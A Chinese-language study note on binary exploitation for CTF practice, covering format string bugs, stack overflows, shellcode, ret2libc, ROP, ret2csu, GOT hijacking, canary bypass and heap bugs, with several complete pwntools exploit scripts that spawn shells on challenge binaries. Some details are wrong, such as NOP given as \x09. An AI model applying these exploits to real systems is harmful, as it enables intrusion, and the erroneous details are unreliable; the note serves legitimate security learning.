格式化字符串原理

1.format string

  • print家族函数接受变长的字符串,其中第一个参数就是format string,后面的参数在实际运行中将与之对应
  • format string符号说明
    • %P 将对应的参数解析为地址形式输出
    • %K$P 对应格式化字符串后的第K个参数,并以地址形式输出
    • %K$n 与格式化字符串后的第K个参数对应,将参数解析为一个地址,并取消此次输出,而将已经输出的字节长度写入获取的地址
      • 预调用约定
      • printf的参数按照参数的顺序依次存放在栈上的(32位)
      • 对于64位机,前六个参数存放在相应的寄存器中

2.格式化字符串漏洞

1.内存泄漏(%p)

  • 当format string中的符号个数超过参数的个数时,printf会根据调用约定到,栈上(reg)中取值
  • 因此当我们不向printf提供更多参数时,prinf会打印出栈上本不应该被访问的值

2.任意地址泄漏(%7$s)

  • 类似这样的构造会造成栈上第 7+1 个参数,所在的地址被解析,读取该地址指向的字符串

3. 内存覆盖(%k$n)

  • 需要清楚的是把什么值输出到哪里去?
    - 首先,写入的是%之前的字节数
    
    • 其次写入的目的地是?
      - %n对当前偏移指向的那块空间存储的指针指向的空间写入数字,并取消此次输出
      - 因此,写入的地址为,用户输入的地址des(当然,需要加偏移)
      - 比如说你输入了一个地址,此时会有一个地址(tmp)储存你输入的地址(des),而format string 作为一个参数,在函数栈中是有地址的,而由于格式化符号大于输入参数的个数,因此函数栈中会有很多的地址存储,因此需要通过偏移量找到用户输入的地址(des),并向des指向的空间写入%之前的字节数
      
  • 实现任意地址写入

    • 如何实现向任意地址写入任意字符串?

      • 1
        payload=fmtstr_payload(10,{atoi_got:system_plt})

4.各种格式化字符含义

%c:输出字符,配上%n可用于向指定地址写数据。

%d:输出十进制整数,配上%n可用于向指定地址写数据。

%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。

%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。

%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。

%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100x%10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。

3.实例

1.向got表中写入system的plt地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

p = process('./pwn5')
elf = ELF('./pwn5')

atoi_got = elf.got['atoi']
system_plt = elf.plt['system']

#这就是如何向任意地址空间写入任意数据
payload=fmtstr_payload(10,{atoi_got:system_plt})

p.sendline(payload)
p.sendline('/bin/sh\x00')

p.interactive()

2.向某个空间写入具体数据

1
2
3
4
5
6
7
8
9
from pwn import *
#context.log_level = "debug"
p = remote("node3.buuoj.cn",26486)

unk_804C044 = 0x0804C044
payload=fmtstr_payload(10,{unk_804C044:0x1111})
p.sendlineafter("your name:",payload)
p.sendlineafter("your passwd",str(0x1111))
p.interactive()

缓冲区溢出原理

1.程序内存布局

  • 在程序运行的生命周期中,内存中比较重要的四部分数据是程序数据、堆、库数据、栈.此外内核空间也会映射到程序的内存中.

  • 程序数据(Proc)
    • 代码段(Text seg)
      - 主要存放可执行文件的代码指令,是可执行程序在内存中的镜像,代码段一般是只读的
      
      • 数据段(Data seg)
      • 存放可执行文件中已经初始化的变量,包括静态分配的变量和全局变量
      • BSS seg
      • 包含程序中未初始化的全局变量,在内存中bss 段全部置0
      • 堆(HEAP)
      • 存放进程运行过程中动态申请的内存段.进程调用malloc、alloca、new等函数来申请内存,利用free、delete函数释放内存.这部分大小不固定,以方便程序灵活使用内存.
      • 库数据(Memory Mapping)
      • 存放映射的系统库文件,其中比较重要的是libc库,很多的程序所使用的系统函数都会动态的连接到libc库中
      • 栈(Stack)
      • 栈存放程序临时创建的局部变量.包括函数内部的临时变量和调用函数时压入的参数.由于

1. 函数调用栈

  • 栈介绍

    • 栈内存一般根据函数栈来进行划分,不同函数栈之间是相互隔离的,从而能够实现有效的函数切换

    • 函数栈上存储的信息一般包括

      • 临时变量 (canary)

      • 函数的返回栈基址(bp)

      • 函数的返回地址(ip)

  • 函数栈的调用机制

    • 程序运行时,为了实现函数之间的相互隔离,需要在进入新的函数之前保存当前函数的状态

    • 函数调用时,首先将参数压入栈,然后压入返回地址和栈底指针寄存器bp,其中压入返回地址是通过call实现的

    • 函数结束时,将sp重新指向bp位置,并弹出bp和返回地址==ip==,通常bp是通过leave或者(pop ebp实现的)

    • 函数栈示意图

- 在函数栈中bp存储了上一个函数栈的基址,ip存储的是调用处的下一条指令的位置.
- 返回当前函数时,会从栈上弹出这两个值,从而恢复上一个函数的信息
  • 函数参数的传递

    • 函数调用协议

      • _stdcall: wimdows API默认的函数调用协议
        • 参数由由右向左入栈
        • 调用函数结束后由被调用函数来平衡栈
      • _cdecl: c++/c默认的函数调用协议
        • 参数由右向左入栈
        • 函数调用结束后由函数调用者来平衡栈
      • _fastcall:适用于对性能要求较高的场合
        • 从左开始将不大于4字节的参数放入CPU的ecx和edx寄存器,其余参数从右向左入栈
        • 函数调用结束后,由被调用者来平衡栈
    • 对于X86程序

      • 普通函数传参:参数基本都压在栈上(也有寄存器传参的情况)

      • syscall传参: eax对应系统调用号,ebx,ecx,edx,esi,edi,ebp分别对应前六个参数,多余的参数压在栈上

      • ==对于x86程序而言,参数传递是通过栈来实现的,在调用完以后,需要清除栈中参数,所以一般函数调用完之后需要用形如“pop;pop *;,,,,;ret;”的 gadget来调整.因为函数调用时返回地址会压入栈中,既汇编中的“call func”指令等同于“pop ret_addr;jump func”,因此在执行jmp func的时候,ret_addr已经压入栈中了==

- 将ret_addr改成”pop*;ret“指令的gadget,用来弹出后续的args,即成为ROP的形式,这也是ROP的原理

  ![](image-20201116160738116.png)
  • 对于X64程序

    • 普通函数传参:先使用rdi,rsi,rdx,r8,r9寄存器作为函数参数的前六个参数,多余的参数依次压在栈上

    • syscall传参:rax对应系统调用号,传参规则和普通函数一样

    • 对于X64的程序来说,一般情况下,函数的参数较少,通常用寄存器来传递参数,所以在进入函数之前,因该先将寄存器设置好

  • 函数运行时内存中的一段连续的区域,用来保存函数运行时的状态信息,包括参数与局部变量

  • 涉及的寄存器
    • 栈寄存器

      • esp: 用来存储函数调用栈的栈顶地址,在压栈和退栈时发生变化
      • ebp:用来存储当前函数状态的基地址,在函数运行时不变,可以用来索引函数参数或局部变量的位置
    • 特殊寄存器

      • eip:用来存储即将执行的程序指令的地址,cpu按照eip的存储内容读取指令并执行,eip随之指向下一条指令,如此反复

      • Eflags:标识位寄存器

      • cs(code segment):储存代码段的地址

      • ds(data segment):储存数据段的地址

      • ss(stack segment):储存函数调用栈的地址

  • 一般寄存器

    • eax(Accumulate):累加寄存器,用于进行算数运算,返回函数结果
    • ebx(Base):基址寄存器,在内存寻址时(比如数组运算),存放基地址
    • ecx(Count):计数寄存器,用以在循环中计数
    • edx(Data):数据寄存器,通常配合eax存放运算结果等数据
  • 索引寄存器

    • esi(Souce Index):指向要处理数据的地址
    • edi(Destination Index): 指向存放数据结果的地址
  • 涉及的汇编指令

    • MOV DST,SRC; (数据传输指令) 将src中的数据传输到dst中
    • PUSH SRC; (压入堆栈指令)将SRC压入栈
    • POP DST;(弹出堆栈指令) 弹出堆栈指令,将栈顶的数据弹出并保存至DST
    • LEA REG,MEM; (取地址指令)将MEM的地址存在REG中
    • ADD/SUB DST,SRC;(加减指令)
    • CALL PTR;(调用指令 )将当前的eip压入栈顶,并将PTR存入eip
    • RET ;(返回指令)将栈顶数据弹出至eip
  • 调用函数时,栈的变化(如何抛弃被调用函数的状态)

2.技术清单

  • 覆盖缓冲区的具体用途

    • 覆盖当前栈中函数的返回地址(当前函数或者之前的函数),获取控制流

    • 覆盖栈中所存储的临时变量

    • 覆盖栈底寄存器bp(之前的函数)

      • 覆盖bp实现栈转移

        • 这种情况主要针对“leave;ret”指令;该指令等价于“mov sp,bp;pop bp;ret”

      • 覆盖bp,实现参数索引改变

        • 一般来说,很多临时变量的索引,都是根据相对于bp的偏移量来进行的,如果bp发生了变化,那么后续的很多参数也会发生变化
    • 关注敏感函数

      • background
        • 控制指令执行最关键的寄存器就是eip,因此我们的==目标是让eip载入攻击指令的地址==
        • 如何让eip指向攻击指令,
  • list
    • 修改返回地址,使其指向溢出数据中的一段指令==(shellcode)==
    • 修改返回地址,使其指向内存中已有的某个函数==(return2libc==)
    • 修改返回地址,使其指向内存中已有的某段指令==(ROP)==
    • 修改某个被调用的函数的地址,让其指向另一个函数==(hijack GOT)==

1.Shellcode(关闭地址随机化以及有可执行权限)

  • payload = padding1 + address of shellcode + padding2 + shellcode
  • padding1 中的数据随便填充(⚠️如果是字符串输入,避免\x00,可能会被截断),==长度应该刚好覆盖函数的基地址==

    • ==问题一==:padding1因该多长?
      • 可以通过调试工具(GDB)查看汇编代码来确定这个值==一般是lea指令+4==
      • 也可以通过程序不断增加输入长度来试探(如果返回地址被无效地址如”AAA“覆盖)程序会报错
  • address of shellcode 是后面shellcode处的起始处的地址,==用来覆盖返回地址==
    • ==问题二:==shellcode 的起始地址是多少?
      • 可以通过调试工具查看返回值的地址(ebp中的内容+4, 32位机)
      • 但是调试里的地址可能和正常运行时不一样,此时就可以通过在padding2中填充若干长度的==“\x09”==,此机器码对应的指令是NOP(No Operation),既告诉cpu啥也不用做,然后跳到下一指令,有了NOP的填充,只要返回地址能够命中这一段中的任一位置,都可以跳转到shellcode的起始处
  • padding2可以随意填充,长度任意.
  • shellcode因该是16进制机器码的格式
实例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
from LibcSearcher import *

sh = remote('node3.buuoj.cn',29955)
elf = ELF('./ciscn_2019_n_5')
#这句话非常重要,因为设置arch决定了👇shell的汇编结果,不同arch下得到的结果是不一样的
context.arch = elf.arch
context.log_level = 'debug'
bss_addr = 0x601080
shellcode = asm(shellcraft.sh())#生成64位linuxshellcode
payload = b'a'*0x20 + b'a'*8 + p64(0x601080)#栈溢出ret到shellcode执行

sh.sendlineafter("name\n",shellcode)
sh.sendlineafter("me?\n",payload)
sh.interactive()

2.return2libc–指向内存中的函数(操作系统关闭ASLR)

  • 获取libc中的system函数的地址,使用gdb,给main函数打上断点,然后使用

    1
    p system

    该方法可以获取任意libc函数的地址

  • 设置system函数返回后的地址,以及为system函数构造我们预定的参数

  • 由于我们使用system的函数地址替换了原本的ip寄存器,强制执行了system函数.破坏了原程序栈桢分配和释放策略,所以后续的操作必须基于这个被破坏的栈桢结构来实现

  • 例如下面的payload中的padding2的操作应该是pop ip,也就是system函数调用完成后需要返回的地址

    • 为什么呢?
      • 因为在正常情况下,函数是通过call进行调用的,因此在进入system前,call指令已经通过push ip将返回地址push到函数调用栈中,所以在正常情况下ret指令pop到ip的数据就是call指令push到栈中的数据,也就是说两者是成对出现的
      • 但是!!!!由于我们是直接通过覆盖ip的地址从而跳转到system函数,并没有经过call指令的调用,也就是并没有push ip的操作,但是system函数却照常执行了ret指令的pop ip的操作.
      • 因此,ret 指令pop到ip中的到底是哪一处的数据呢,答案就是padding2中的数据,也就是我们自己设定的system函数的返回地址
  • 知道了system部分的payload,那么如何获得system的地址以及bin/sh的地址呢?

    • 可以通过puts与gets函数,gets造成溢出,puts泄漏libc中的system以及/bin/sh的地址

      • bin在so文件中的地址

        • 1
          strings -t x libc.so | grep bin
      • 可执行的system(“/bin/sh”)在so文件中的地址

        • 1
          one_gadget  libc.so
  • 由于我们可以控制栈,根据rop的思想,我们需要找到的就是pop rdi;ret 前半段用于给第一个参数rdi赋值,后半段用于跳到其他代码片段

    • 如何找到可以赋值的参数呢?

      • 可以通过,ROPgadget,这里的值通常是固定的0x400833

        1
        ROPgadget --binary file_name --only "pop|ret" | grep rdi
  • 因此我们可以构造payload泄漏出puts函数的真实地址
  • 有了真实地址,我们还需要知道程序使用的libc,算出libc的基址

    • 这里可以使用LibcSearcher

      1
      2
      3
      4
      from LibcSearcher import *

      #第二个参数,为已泄露的实际地址,或最后12位(比如:d90),int类型
      obj = LibcSearcher("fgets", 0X7ff39014bd90)
    • 知道了程序使用的libc,以及puts函数的真实地址,我们就可算出libc的基址,再通过基址加偏移就能得到函数的真实地址

      1
      2
      3
      4
      5
      libc_base = 0X7ff39014bd90 - obj.dump("fgets")
      obj.dump("system") #system 偏移
      obj.dump("str_bin_sh") #/bin/sh 偏移
      #system的真实地址
      system_addr =libc_base + obj.dump("system")
  • 这里有可能会遇到,匹配不到libc的错误,可以通过libc-database,添加libc

    1
    2
    3
    4
    5
    6
    ./get  # List categories
    ./get ubuntu debian # Download Ubuntu's and Debian's libc, old default behavior
    ./get all # Download all categories. Can take a while!

    #或者添加自身的libc
    ./add /usr/lib/libc-2.21.so
实例
  • 64位
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
#p = remote('node3.buuoj.cn',25805)
p = process('./ciscn_2019_c_1')
elf = ELF('ciscn_2019_c_1')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi = 0x400c83
main_addr = 0x400b28
p.recvuntil('!\n')
p.sendline('1')


payload = b'\x00'*0x58+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
print("payload=====>"+str(payload))
p.recvuntil('ed\n')
p.sendline(payload)
p.recvuntil('\n\n')
puts_real_addr = u64(p.recvuntil('\n', drop=True).ljust(8, b'\x00'))
print('puts real addr ====>'+str(hex(puts_real_addr)))

libc = LibcSearcher('puts',puts_real_addr)
libc_base = puts_real_addr - libc.dump('puts')
print('libc_base====>'+str(libc_base))


system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

print("system ====>"+str(hex(system)))
print("bin_sh ====>"+str(hex(bin_sh)))

ret = 0x4006b9

payload2 = b'\x00'*0x58 +p64(ret)+ p64(pop_rdi) + p64(bin_sh) + p64(system)

p.recv()
p.sendline('1')
p.recv()
p.sendline(payload2)
p.interactive()
  • 32位
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
r=remote('node3.buuoj.cn',28001)
#r=process('./pwn')
elf=ELF('./pwn')
write_plt=elf.plt['write']
read_got=elf.got['read']
read_plt=elf.plt['read']
main_addr=0x8048825

#溢出控制返回值v5
payload1=b'\x00'+b'a'*6+b'\xff'
r.sendline(payload1)
r.recvuntil('Correct\n')

#泄漏libc
payload=b'a'*0xeb
payload+=p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
r.sendline(payload)

read_addr=u32(r.recv(4))
print('[+]read_addr: ',hex(read_addr))

#计算libc_base,system_addr,bin_sh_addr
libc=LibcSearcher('read',read_addr)
libc_base=read_addr-libc.dump('read')
system_addr=libc_base+libc.dump('system')
bin_sh_addr=libc_base+libc.dump('str_bin_sh')

#执行payload
r.sendline(payload1)
r.recvuntil('Correct\n')
payload=b'a'*0xe7+b'b'*0x4
payload+=p32(system_addr)*2+p32(bin_sh_addr)
r.sendline(payload)

r.interactive()
  • payload = padding1 + address of system() + padding2 + address of “/bin/sh”
  • Padding1 随意填充,==长度刚好覆盖基地址==
    • 长度与shellcode处的一样的方法
  • address of system() 是system在内存中的地址,==用来覆盖返回地址==
    • system()函数地址在哪里?
      • 从动态库中获取,计算绝对地址
  • padding2 数据长度应该为 ==4== (32位机) 由于不关心退出shell后的行为,可随意填
    • ⚠️当需要多次绕过时,这里应该填充system执行后需要返回的地址,否则程序栈会崩溃
  • address of ”/bin/sh“ 是字符串在内存中的地址,作为传给system的参数
    • 字符串哪里找?
      • 动态库搜索,计算绝对地址
      • 没有就将其加入环境变量,通过getenv()函数获取

3.ROP(开启NX时可用)–指向内存中已有的某段指令

  • payload = padding + address of gadget

  • ROP的常见拼凑效果是实现一次系统调用

  • 如何寻找指令片段?

    • 使用工具寻找以ret结尾的片段
  • 如何寻找系统调用的参数?

    • 可以使用pop指令将栈顶数据存入寄存器
    • 如果内存中有可以用move指令进行传输
  • 对于单个gadget,pop所传输的数据因该在gadget地址之后

    • 具体的ROP例子
  • 适用于题目中没有给出任何有关cat flag有关信息,并且题目中也没有任何与system有关的函数

    • 此时需要我们leak除libc函数的地址,再通过libc构造ROP

3.2 中级ROP

  • ret2_libc_csu_init

    • 在64位程序中,函数的前六个参数是通过寄存器传参的,但是大多数时候,我们很难找到每个寄存器对应的gadgets,这个时候我们可以用x64下的__libc_csu_init中的gadgets。这个函数是用来对libc进行初始化操作的

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      .text:00000000004005C0 ; void _libc_csu_init(void)
      .text:00000000004005C0 public __libc_csu_init
      .text:00000000004005C0 __libc_csu_init proc near ; DATA XREF: _start+16o
      .text:00000000004005C0 push r15
      .text:00000000004005C2 push r14
      .text:00000000004005C4 mov r15d, edi
      .text:00000000004005C7 push r13
      .text:00000000004005C9 push r12
      .text:00000000004005CB lea r12, __frame_dummy_init_array_entry
      .text:00000000004005D2 push rbp
      .text:00000000004005D3 lea rbp, __do_global_dtors_aux_fini_array_entry
      .text:00000000004005DA push rbx
      .text:00000000004005DB mov r14, rsi
      .text:00000000004005DE mov r13, rdx
      .text:00000000004005E1 sub rbp, r12
      .text:00000000004005E4 sub rsp, 8
      .text:00000000004005E8 sar rbp, 3
      .text:00000000004005EC call _init_proc
      .text:00000000004005F1 test rbp, rbp
      .text:00000000004005F4 jz short loc_400616
      .text:00000000004005F6 xor ebx, ebx
      .text:00000000004005F8 nop dword ptr [rax+rax+00000000h]
      .text:0000000000400600
      .text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54j
      .text:0000000000400600 mov rdx, r13
      .text:0000000000400603 mov rsi, r14
      .text:0000000000400606 mov edi, r15d
      .text:0000000000400609 call qword ptr [r12+rbx*8]
      .text:000000000040060D add rbx, 1
      .text:0000000000400611 cmp rbx, rbp
      .text:0000000000400614 jnz short loc_400600
      .text:0000000000400616
      .text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34j
      .text:0000000000400616 add rsp, 8
      .text:000000000040061A pop rbx
      .text:000000000040061B pop rbp
      .text:000000000040061C pop r12
      .text:000000000040061E pop r13
      .text:0000000000400620 pop r14
      .text:0000000000400622 pop r15
      .text:0000000000400624 retn
      .text:0000000000400624 __libc_csu_init endp
      • 这里如果巧妙的控制==rbx==与==r12==,我们就可以调用我们想要调用的函数.例如设置rbx=0,r12位存储我们想要调用的函数的地址.
实例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
io = process("./ciscn_s_3")
context.log_level = 'debug'

vul_addr = 0x4004ed
main_addr = 0x40051d
pop_rdi_ret = 0x4005a3
csu_front_addr = 0x40059A
csu_end_addr = 0x400580
ret_addr = 0x400519
sys_call = 0x400517
mov_rax_59 = 0x4004E2

payload1 = b'/bin/sh\x00'*2 + p64(vul_addr)

#gdb.attach(io)
#pause()

io.send(payload1)
io.recv(0x20)
leak_addr = u64(io.recv(8))
#泄露出来argv的地址
log.info('leaked_addr===>'+hex(leak_addr))
#print("---------->",hex(leak_addr - 0x118))
#gdb.attach(io)
#pause()
bin_sh = leak_addr - 0x128
#用偏移通过argv找到binsh地址

payload = b'/bin/sh\x00'*2 + p64(mov_rax_59) + p64(csu_front_addr)
#ebp处放给寄存器rax赋值的地址
payload += p64(0) + p64(1) + p64(bin_sh+0x10) + p64(0) + p64(0) + p64(0)
#这里就是巧妙的执行利用,rbx 与 r12执行了mov_rax_59的操作
#bin_sh+0x10的位置放得是执行mov rax 59 地址的地址,也就是rbp此时指向的地址
#后面的三个0是给execv函数传参,/bin/sh在4字节的edi中放不下,所以这里我们先传0,下面再pop_rdi
payload += p64(csu_end_addr)
payload += 0x38*b'A'
payload += p64(pop_rdi_ret) + p64(bin_sh) + p64(sys_call)
#寄存器被赋值之后执行syscall,它会自动匹配要执行execv,然后回去64位对应的寄存器里面找参数

io.send(payload)
io.interactive()
  • 可以利用的csu

  • 用gdb+pwn 进行动态调试,得到函数栈中的状态与payload的对应关系,如下

4.hijiack got – 修改某个被调用函数的地址,让其指向另一个地址

  • 动态链接与静态链接

    • 静态链接
      • 把需要调用的函数或者过程链接到可执行文件中,成为可执行文件的一部分,使得文件包含运行时的全部代码,当多个程序调用相同函数时,内存中就会出现多个这个函数的拷贝,浪费内存
    • 动态链接
      • 仅仅在调用处加入了所调用函数的描述信息(往往是一些重定位信息),当程序运行时,才回去动态的链接到相应的函数,动态链接库的文件后缀为.so
  • GOT与PLT

    • GOT(global offset table) 全局偏移量表,用来储存外部函数在内存的确切地址

    • PLT(procedure linkage table) 程序链接表,用来存储外部函数的入口点

    • 第一次调用函数时解析函数地址并存入GOT表

    • 第二次调用函数直接读取GOT中的地址

    • 整个调用的过程

  • 如何确定函数A在GOT表中的位置?

    • 程序调用函数是通过PLT表跳转到GOT表的对应条目,在汇编指令中找到该函数在PLT中的入口点位置,从而定位到该函数在GOT中 的条目
  • 如何确定函数B在内存中的位置?

    • 函数在动态链接库中的位置是相对固定的.如果知道了函数A的运行地址(读取GOT表中的内容),也知道A和B在动态链接库中的相对位置,就可一推断出B的运行时地址
  • 如何实现GOT表中的数据修改?

    • 格式化字符串漏洞

5.Return-to-dl_resolve

  • 核心思想是利用dl_runtime_resolve函数解析出system函数的地址,通常在没有提供lib函库的情况下使用.
  • 使用条件
    • 未给出libc库
    • 没有开启PIE保护,如果开启PIE需要通过泄漏获取基地址
    • 没有开启FULL RELOAD

3. payload与函数调用栈的关系

  • payload的长度可以用 payload.ljust(0x105,b’a’)进行填充,使得填充后的payload的总长度为0x106 Bytes
  • ⚠️p32(0xdeadbeef) 占4个Byte

  • paylaod的实际意义是通过输入的溢出,将我们需要的指令送到ip让cpu执行

    • 下图是64位,中的对应关系

​ 经过gdb+pwn调试,得到正确的关系,main实际上是返回值

  • 下图是32位中的对应关系

4.通用的gadget

__libc_csu_init()
  • 在程序编译的过程中,会自动加入一些通用函数的初始化工作,这些初始化函数都是相同的,因此可以考虑在这些函数中找到一些通用的gadget

    • 需要关注的寄存器

      • r12 保存着将要调用函数的指针的地址

      • rcx r8 r9 第四五六个参数

      • rdx 第三个参数

      • rsi 第二个参数

      • rdi 第一个参数

      • rbx 和 rbp 的值分别为0 1

5.Canary

  • linux中的cookies,用来检测溢出并阻止溢出操作

  • 其原理是当程序启用canary编译后,在函数序言部分会取fs寄存器0x20处的值.存放在栈中

    1
    2
    mov    rax, qword ptr fs:[0x28]
    mov qword ptr [rbp-8], rax
  • 在函数返回之前,会将该值取出,并与fs:0x28的值进行亦或.这个操作既检测是否发生栈溢出

  • 如果canary已经被非法修改,此时程序流程会走到__stack_chk_fail

  • 通过格式化字符串绕过canary

    • 由于格式化字符串漏洞会导致任意地址泄漏,因此,只要得到输入参数在栈中的位置,就可以通过偏移得到canary在栈中的位置
    • 然后在栈溢出的padding块把canary所在的位置的值用正确的canary替换,从而绕过canary检测

堆相关的漏洞

1.堆介绍

  • 结构示意图
    • image-20201117102955545
    • N位:define NON_MAIN_ARENA 用于表示是否属于主线程,0表示主线程的堆块结构,1表示子线程的堆块结构
    • M位:define IS_MAPPED 0X2 用于表示是否由mmap分配,0表示由堆块中的top chunk分裂产生,1表示由mmap分配
    • P位:define PREV_ISUSE 0x1 用于表示上一堆块是否处于空闲状态,0表示处于空闲状态,1表示处于使用状态。主要用于来判断free是否能够上一堆块进行合并
  • 堆空闲块管理结构bin
    • 当allocated chunk被释放以后,会放入bin或者top chunk中去。bin的作用是加快分配速度,其通过链表方式(chunk结构体中的fd和bk指针)进行管理
    • fast bin
      • 单链表结构进行组织,用fd指针指向下一堆块,采用LIFO机制
      • 它将堆块的p标志为都设为1,处于占用状态,以防止释放时fast bin进行合并,用于快速分配小内存
  • malloc基本规则
    • 将申请size按照一定的规则对齐,得到最终要分配的大小size_real
      • X86:size+4 按照0x10字节对齐
      • X64:size+8按照0x20字节对齐
    • 检查size_real 是否符合fast bin 的大小,若是则查看fast bin中对应的size_real 的那条链表中是否存在堆块,若是则分配,否则进行下一步
    • 检查size-real 是否符合small bin 的大小,若是则查看fast bin中对应的size_real 的那条链表中是否存在堆块,若是则分配,否则进行下一步
    • 检查size-real 是否符合large bin 的大小,若是则调用malloc_consolidate函数对fast bin中所有堆块进行合并,其过程为将fast bin中的堆块取出,清除下一块的p标识位并进行堆块合并,将最终的堆块放入unsorted bin。然后在small bin 和large bin中找到合适size_real大小的块。若找到则分配,并将多余的部分放入unsorted bin ,否则下一步
    • 检查top chunk的大小是否符合size_real的大小,若是则分配前面一部分,并重新设置top chunk,否则调用malloc_consolidate函数对fast bin中所有的堆块进行合并,若依然不否,则借助系统调用来开辟新的空间进行分配,若还是不满足,则返回失败
  • free 基本规则
    • 首先会检查地址是否对齐,并根据size找到下一块的位置,检查其p标识位是否为1
    • 检查释放块的size是否符合fastbin的大小区间,若是则直接放入fast bin,并保持下一堆块中的p标识位为1不变(这样可以避免在前后块释放时进行堆块的合并,以方便快速分配小内存),否则进行下一步
    • 若本堆块size域中的p标识位为0(前一堆块处于释放状态)则利用本快的pre_size找到前一堆块的开头,将其从bin链表中摘除(unlink),并合并这两个块,得到新的释放块
    • 根据size找到下一堆块,如果是top chunk,则直接合并到top chunk中,直接返回.否则检查最后一堆块是否处于释放状态(通过检查下一堆块的p标识位是否为0).将其从bin链表中摘除(unlink),并合并这两块,得到新的释放块.
    • 将上述合并得到的最终堆块放入unstorted bin中去
  • tcache
    • 作用
      • 提高堆的使用效率
    • 注意点
      • tcache的管理是单链表,采用LIFO原则
      • tcache的管理结构存在于堆中,默认有64个entry,每个entry最多存放7个chunk
      • tcache的next指针指向chunk的数据区
      • tcache的某个entry被占满以后,符合该entry大小的chunk被free后的规则和原有机制相同

2. 相关的数据结构

微观结构

malloc_chunk

结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/*
This struct declaration is misleading (but accurate and necessary).
It declares a "view" into memory allowing access to necessary
fields at known offsets from a given base. See explanation below.
*/
struct malloc_chunk {

INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
Bin
  • ptmalloc 根据chunk的大小以及使用状态将chunk分为4类:fast bin, small bin, large bin, unstorted bin

  • 一个bin相当于一个chunk链表

  • fast bin 采用LIFO策略,支持的最大的chunk的数据空间大小为64字节,最大支持的bin的个数位10,inuse位始终置为1,防止被合并
  • small bins中每个chunk的大小与其所在bin的index的关系为:chunk_size = 2*size_sz*index
Top Chunk

程序第一次进行malloc的时候,heap会被分成两块,一块给用户,剩下的那块就是Top Chunk(处于当前堆的物理地址最高的chunk,不属于任何bin),它的作用是在当前所有bin都无法满足用户的请求大小时,如果其满足大小,就进行分配,将剩下的部分作为新的TopChunk.否则对heap进行扩展后再进行分配.

宏观结构

heap_info

​ 程序刚开始执行时是没有heap区域的,当其申请内存时,就需要一个结构记录对应的信息,而且一般当前的heap资源被用完后,重新申请的heap一般是不连续的,因此需要记录不同heap之间连接结构,而heap的作用就是这个

malloc_state

该结构用于管理堆,记录每个arena当前申请内存的具体状态,比如是否有空闲的chunk等,他是一全局变量存储在libc.so中

3.深入理解堆的实现

宏观角度

- 创建堆
- 堆初始化
- 删除堆

微观角度

  • 申请内存块
  • 释放内存块

3.相关的漏洞

1. 最基本的堆漏洞

  • 由于对堆内容类型判断不明而形成的错误引用,通常情况下,可以使用堆块存储复杂的结构体,其中可能会包括函数指针、变量、数组等成员.如果一个结构体数据按照其他结构体格式来解析,那么只要在特定的域布置好数据,就会导致漏洞的发生.

2.堆缓冲区溢出

  1. 常规溢出

    堆缓冲区溢出与栈缓冲区溢出类似

  2. Off By One

    只能溢出一子节,通常位于堆块末尾,溢出的1子节恰好能够覆盖下一堆块的size域的最低位,难以利用,一般有固定的套路

  3. Use After Free

    若堆指针在释放后未被置空,形成悬挂指针(野指针),当下次访问该指针时,依然能够访问到原始指针指向的堆内容

    1. 申请一段空间,并将其释放,释放后并不将指针置为空,因此这个指针仍然可以使用,把这个指针简称为p1
    2. 申请空间p2,由于malloc分配过程使得p2指向的空间为刚刚释放的p1指针的空间,构造恶意数据将这段内存空间布局好,既覆盖p1中的数据
    3. 可利用p1,一般多有一个函数指针,由于之前已经使用P2将P1中的数据覆盖了,所以此时的数据即是我们可以控制的,既存在劫持函数流的情况
  4. Doubble Free

    对指针进行多次释放.多次释放会使堆块发生重叠,前后申请的堆块可能会指向同一块内存

堆栈平衡和栈转移

1.栈平衡

1.为什么需要堆栈平衡?

  • 保持栈的大小,是ESP始终指向栈顶

2.概念

  • 函数如果要返回父程序,则在堆栈中进行操作时,一定要在RET指令之前,将ESP指向函数压入栈中时的地址
